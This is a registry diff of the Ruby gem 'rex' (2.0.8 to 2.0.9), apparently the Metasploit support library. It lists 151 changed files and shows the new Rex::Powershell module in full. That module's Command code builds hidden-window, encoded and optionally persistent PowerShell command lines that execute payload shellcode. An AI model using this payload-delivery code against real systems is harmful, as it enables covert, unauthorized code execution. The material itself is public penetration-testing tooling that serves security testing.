rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -81,6 +81,7 @@ module Console::InteractiveChannel
81
81
  data = self.lsock.sysread(16384)
82
82
 
83
83
  self.on_print_proc.call(data.strip) if self.on_print_proc
84
+ self.on_log_proc.call(data.strip) if self.on_log_proc
84
85
  user_output.print(data)
85
86
  end
86
87
 
@@ -91,6 +92,8 @@ module Console::InteractiveChannel
91
92
  self.lsock
92
93
  end
93
94
 
95
+ attr_accessor :on_log_proc
96
+
94
97
  end
95
98
 
96
99
  end
@@ -0,0 +1,62 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/powershell/payload'
3
+ require 'rex/powershell/output'
4
+ require 'rex/powershell/parser'
5
+ require 'rex/powershell/obfu'
6
+ require 'rex/powershell/param'
7
+ require 'rex/powershell/function'
8
+ require 'rex/powershell/script'
9
+ require 'rex/powershell/psh_methods'
10
+ require 'rex/powershell/command'
11
+
12
+
13
+ module Rex
14
+ module Powershell
15
+ #
16
+ # Reads script into a Powershell::Script
17
+ #
18
+ # @param script_path [String] Path to the Script File
19
+ #
20
+ # @return [Script] Powershell Script object
21
+ def self.read_script(script_path)
22
+ Rex::Powershell::Script.new(script_path)
23
+ end
24
+
25
+ #
26
+ # Insert substitutions into the powershell script
27
+ # If script is a path to a file then read the file
28
+ # otherwise treat it as the contents of a file
29
+ #
30
+ # @param script [String] Script file or path to script
31
+ # @param subs [Array] Substitutions to insert
32
+ #
33
+ # @return [String] Modified script file
34
+ def self.make_subs(script, subs)
35
+ if ::File.file?(script)
36
+ script = ::File.read(script)
37
+ end
38
+
39
+ subs.each do |set|
40
+ script.gsub!(set[0], set[1])
41
+ end
42
+
43
+ script
44
+ end
45
+
46
+ #
47
+ # Return an array of substitutions for use in make_subs
48
+ #
49
+ # @param subs [String] A ; seperated list of substitutions
50
+ #
51
+ # @return [Array] An array of substitutions
52
+ def self.process_subs(subs)
53
+ return [] if subs.nil? or subs.empty?
54
+ new_subs = []
55
+ subs.split(';').each do |set|
56
+ new_subs << set.split(',', 2)
57
+ end
58
+
59
+ new_subs
60
+ end
61
+ end
62
+ end
@@ -0,0 +1,359 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Powershell
5
+ module Command
6
+ #
7
+ # Return an encoded powershell script
8
+ # Will invoke PSH modifiers as enabled
9
+ #
10
+ # @param script_in [String] Script contents
11
+ # @param opts [Hash] The options for encoding
12
+ # @option opts [Bool] :strip_comments Strip comments
13
+ # @option opts [Bool] :strip_whitespace Strip whitespace
14
+ # @option opts [Bool] :sub_vars Substitute variable names
15
+ # @option opts [Bool] :sub_funcs Substitute function names
16
+ #
17
+ # @return [String] Encoded script
18
+ def self.encode_script(script_in, eof=nil, opts={})
19
+ # Build script object
20
+ psh = Rex::Powershell::Script.new(script_in)
21
+ psh.strip_comments if opts[:strip_comments]
22
+ psh.strip_whitespace if opts[:strip_whitespace]
23
+ psh.sub_vars if opts[:sub_vars]
24
+ psh.sub_funcs if opts[:sub_funcs]
25
+ psh.encode_code(eof)
26
+ end
27
+
28
+ #
29
+ # Return a gzip compressed powershell script
30
+ # Will invoke PSH modifiers as enabled
31
+ #
32
+ # @param script_in [String] Script contents
33
+ # @param eof [String] Marker to indicate the end of file appended to script
34
+ # @param opts [Hash] The options for encoding
35
+ # @option opts [Bool] :strip_comments Strip comments
36
+ # @option opts [Bool] :strip_whitespace Strip whitespace
37
+ # @option opts [Bool] :sub_vars Substitute variable names
38
+ # @option opts [Bool] :sub_funcs Substitute function names
39
+ #
40
+ # @return [String] Compressed script with decompression stub
41
+ def self.compress_script(script_in, eof=nil, opts={})
42
+ # Build script object
43
+ psh = Rex::Powershell::Script.new(script_in)
44
+ psh.strip_comments if opts[:strip_comments]
45
+ psh.strip_whitespace if opts[:strip_whitespace]
46
+ psh.sub_vars if opts[:sub_vars]
47
+ psh.sub_funcs if opts[:sub_funcs]
48
+ psh.compress_code(eof)
49
+ end
50
+
51
+ #
52
+ # Generate a powershell command line, options are passed on to
53
+ # generate_psh_args
54
+ #
55
+ # @param opts [Hash] The options to generate the command line
56
+ # @option opts [String] :path Path to the powershell binary
57
+ # @option opts [Boolean] :no_full_stop Whether powershell binary
58
+ # should include .exe
59
+ #
60
+ # @return [String] Powershell command line with arguments
61
+ def self.generate_psh_command_line(opts)
62
+ if opts[:path] and (opts[:path][-1, 1] != '\\')
63
+ opts[:path] << '\\'
64
+ end
65
+
66
+ if opts[:no_full_stop]
67
+ binary = 'powershell'
68
+ else
69
+ binary = 'powershell.exe'
70
+ end
71
+
72
+ args = generate_psh_args(opts)
73
+
74
+ "#{opts[:path]}#{binary} #{args}"
75
+ end
76
+
77
+ #
78
+ # Generate arguments for the powershell command
79
+ # The format will be have no space at the start and have a space
80
+ # afterwards e.g. "-Arg1 x -Arg -Arg x "
81
+ #
82
+ # @param opts [Hash] The options to generate the command line
83
+ # @option opts [Boolean] :shorten Whether to shorten the powershell
84
+ # arguments (v2.0 or greater)
85
+ # @option opts [String] :encodedcommand Powershell script as an
86
+ # encoded command (-EncodedCommand)
87
+ # @option opts [String] :executionpolicy The execution policy
88
+ # (-ExecutionPolicy)
89
+ # @option opts [String] :inputformat The input format (-InputFormat)
90
+ # @option opts [String] :file The path to a powershell file (-File)
91
+ # @option opts [Boolean] :noexit Whether to exit powershell after
92
+ # execution (-NoExit)
93
+ # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
94
+ # @option opts [Boolean] :noninteractive Whether to load a non
95
+ # interactive powershell (-NonInteractive)
96
+ # @option opts [Boolean] :mta Whether to run as Multi-Threaded
97
+ # Apartment (-Mta)
98
+ # @option opts [String] :outputformat The output format
99
+ # (-OutputFormat)
100
+ # @option opts [Boolean] :sta Whether to run as Single-Threaded
101
+ # Apartment (-Sta)
102
+ # @option opts [Boolean] :noprofile Whether to use the current users
103
+ # powershell profile (-NoProfile)
104
+ # @option opts [String] :windowstyle The window style to use
105
+ # (-WindowStyle)
106
+ #
107
+ # @return [String] Powershell command arguments
108
+ def self.generate_psh_args(opts)
109
+ return '' unless opts
110
+
111
+ unless opts.key? :shorten
112
+ opts[:shorten] = (opts[:method] != 'old')
113
+ end
114
+
115
+ arg_string = ' '
116
+ opts.each_pair do |arg, value|
117
+ case arg
118
+ when :encodedcommand
119
+ arg_string << "-EncodedCommand #{value} " if value
120
+ when :executionpolicy
121
+ arg_string << "-ExecutionPolicy #{value} " if value
122
+ when :inputformat
123
+ arg_string << "-InputFormat #{value} " if value
124
+ when :file
125
+ arg_string << "-File #{value} " if value
126
+ when :noexit
127
+ arg_string << '-NoExit ' if value
128
+ when :nologo
129
+ arg_string << '-NoLogo ' if value
130
+ when :noninteractive
131
+ arg_string << '-NonInteractive ' if value
132
+ when :mta
133
+ arg_string << '-Mta ' if value
134
+ when :outputformat
135
+ arg_string << "-OutputFormat #{value} " if value
136
+ when :sta
137
+ arg_string << '-Sta ' if value
138
+ when :noprofile
139
+ arg_string << '-NoProfile ' if value
140
+ when :windowstyle
141
+ arg_string << "-WindowStyle #{value} " if value
142
+ end
143
+ end
144
+
145
+ # Command must be last (unless from stdin - etc)
146
+ if opts[:command]
147
+ arg_string << "-Command #{opts[:command]}"
148
+ end
149
+
150
+ # Shorten arg if PSH 2.0+
151
+ if opts[:shorten]
152
+ # Invoke-Command and Out-File require these options to have
153
+ # an additional space before to prevent Powershell code being
154
+ # mangled.
155
+ arg_string.gsub!(' -Command ', ' -c ')
156
+ arg_string.gsub!('-EncodedCommand ', '-e ')
157
+ arg_string.gsub!('-ExecutionPolicy ', '-ep ')
158
+ arg_string.gsub!(' -File ', ' -f ')
159
+ arg_string.gsub!('-InputFormat ', '-i ')
160
+ arg_string.gsub!('-NoExit ', '-noe ')
161
+ arg_string.gsub!('-NoLogo ', '-nol ')
162
+ arg_string.gsub!('-NoProfile ', '-nop ')
163
+ arg_string.gsub!('-NonInteractive ', '-noni ')
164
+ arg_string.gsub!('-OutputFormat ', '-o ')
165
+ arg_string.gsub!('-Sta ', '-s ')
166
+ arg_string.gsub!('-WindowStyle ', '-w ')
167
+ end
168
+
169
+ # Strip off first space character
170
+ arg_string = arg_string[1..-1]
171
+ # Remove final space character
172
+ arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
173
+
174
+ arg_string
175
+ end
176
+
177
+ #
178
+ # Wraps the powershell code to launch a hidden window and
179
+ # detect the execution environment and spawn the appropriate
180
+ # powershell executable for the payload architecture.
181
+ #
182
+ # @param ps_code [String] Powershell code
183
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
184
+ # @param encoded [Boolean] Indicates whether ps_code is encoded or not
185
+ # @param opts [Hash] The options for generate_psh_args
186
+ #
187
+ # @return [String] Wrapped powershell code
188
+ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
189
+ opts[:noprofile] ||= 'true'
190
+ opts[:windowstyle] ||= 'hidden'
191
+
192
+ # Old method needs host process to stay open
193
+ opts[:noexit] = true if (opts[:method] == 'old')
194
+
195
+ if encoded
196
+ opts[:encodedcommand] = ps_code
197
+ else
198
+ opts[:command] = ps_code.gsub("'", "''")
199
+ end
200
+
201
+ ps_args = generate_psh_args(opts)
202
+
203
+ process_start_info = <<EOS
204
+ $s=New-Object System.Diagnostics.ProcessStartInfo
205
+ $s.FileName=$b
206
+ $s.Arguments='#{ps_args}'
207
+ $s.UseShellExecute=$false
208
+ $s.RedirectStandardOutput=$true
209
+ $s.WindowStyle='Hidden'
210
+ $s.CreateNoWindow=$true
211
+ $p=[System.Diagnostics.Process]::Start($s)
212
+ EOS
213
+ process_start_info.gsub!("\n", ';')
214
+
215
+ archictecure_detection = <<EOS
216
+ if([IntPtr]::Size -eq 4){
217
+ #{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
218
+ }else{
219
+ #{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
220
+ };
221
+ EOS
222
+
223
+ archictecure_detection.gsub!("\n", '')
224
+
225
+ archictecure_detection + process_start_info
226
+ end
227
+
228
+ #
229
+ # Creates a powershell command line string which will execute the
230
+ # payload in a hidden window in the appropriate execution environment
231
+ # for the payload architecture. Opts are passed through to
232
+ # run_hidden_psh, generate_psh_command_line and generate_psh_args
233
+ #
234
+ # @param pay [String] The payload shellcode
235
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
236
+ # @param opts [Hash] The options to generate the command
237
+ # @option opts [Boolean] :persist Loop the payload to cause
238
+ # re-execution if the shellcode finishes
239
+ # @option opts [Integer] :prepend_sleep Sleep for the specified time
240
+ # before executing the payload
241
+ # @option opts [String] :method The powershell injection technique to
242
+ # use: 'net'/'reflection'/'old'
243
+ # @option opts [Boolean] :encode_inner_payload Encodes the powershell
244
+ # script within the hidden/architecture detection wrapper
245
+ # @option opts [Boolean] :encode_final_payload Encodes the final
246
+ # powershell script
247
+ # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
248
+ # environment variable at the start of the command line
249
+ # @option opts [Boolean] :use_single_quotes Wraps the -Command
250
+ # argument in single quotes unless :encode_final_payload
251
+ #
252
+ # @return [String] Powershell command line with payload
253
+ def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
254
+ if opts[:encode_inner_payload] && opts[:encode_final_payload]
255
+ fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
256
+ end
257
+
258
+ if opts[:no_equals] && !opts[:encode_final_payload]
259
+ fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
260
+ end
261
+
262
+ psh_payload = case opts[:method]
263
+ when 'net'
264
+ Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
265
+ when 'reflection'
266
+ Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
267
+ when 'old'
268
+ Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
269
+ when 'msil'
270
+ fail RuntimeError, 'MSIL Powershell method no longer exists'
271
+ else
272
+ fail RuntimeError, 'No Powershell method specified'
273
+ end
274
+
275
+ # Run our payload in a while loop
276
+ if opts[:persist]
277
+ fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
278
+ sleep_time = rand(5) + 5
279
+ psh_payload = "function #{fun_name}{#{psh_payload}};"
280
+ psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
281
+ end
282
+
283
+ if opts[:prepend_sleep]
284
+ if opts[:prepend_sleep].to_i > 0
285
+ psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
286
+ end
287
+ end
288
+
289
+ compressed_payload = compress_script(psh_payload, nil, opts)
290
+ encoded_payload = encode_script(psh_payload, opts)
291
+
292
+ # This branch is probably never taken...
293
+ if encoded_payload.length <= compressed_payload.length
294
+ smallest_payload = encoded_payload
295
+ encoded = true
296
+ else
297
+ if opts[:encode_inner_payload]
298
+ encoded = true
299
+ compressed_encoded_payload = encode_script(compressed_payload)
300
+
301
+ if encoded_payload.length <= compressed_encoded_payload.length
302
+ smallest_payload = encoded_payload
303
+ else
304
+ smallest_payload = compressed_encoded_payload
305
+ end
306
+ else
307
+ smallest_payload = compressed_payload
308
+ encoded = false
309
+ end
310
+ end
311
+
312
+ # Wrap in hidden runtime / architecture detection
313
+ inner_args = opts.clone
314
+ final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
315
+
316
+ command_args = {
317
+ noprofile: true,
318
+ windowstyle: 'hidden'
319
+ }.merge(opts)
320
+
321
+ if opts[:encode_final_payload]
322
+ command_args[:encodedcommand] = encode_script(final_payload)
323
+
324
+ # If '=' is a bad character pad the payload until Base64 encoded
325
+ # payload contains none.
326
+ if opts[:no_equals]
327
+ while command_args[:encodedcommand].include? '='
328
+ final_payload << ' '
329
+ command_args[:encodedcommand] = encode_script(final_payload)
330
+ end
331
+ end
332
+ else
333
+ if opts[:use_single_quotes]
334
+ # Escape Single Quotes
335
+ final_payload.gsub!("'", "''")
336
+ # Wrap command in quotes
337
+ final_payload = "'#{final_payload}'"
338
+ end
339
+
340
+ command_args[:command] = final_payload
341
+ end
342
+
343
+ psh_command = generate_psh_command_line(command_args)
344
+
345
+ if opts[:remove_comspec]
346
+ command = psh_command
347
+ else
348
+ command = "%COMSPEC% /b /c start /b /min #{psh_command}"
349
+ end
350
+
351
+ if command.length > 8191
352
+ fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
353
+ end
354
+
355
+ command
356
+ end
357
+ end
358
+ end
359
+ end
@@ -1,7 +1,6 @@
1
1
  # -*- coding: binary -*-
2
2
 
3
3
  module Rex
4
- module Exploitation
5
4
  module Powershell
6
5
  class Function
7
6
  FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
@@ -60,4 +59,3 @@ module Powershell
60
59
  end
61
60
  end
62
61
  end
63
- end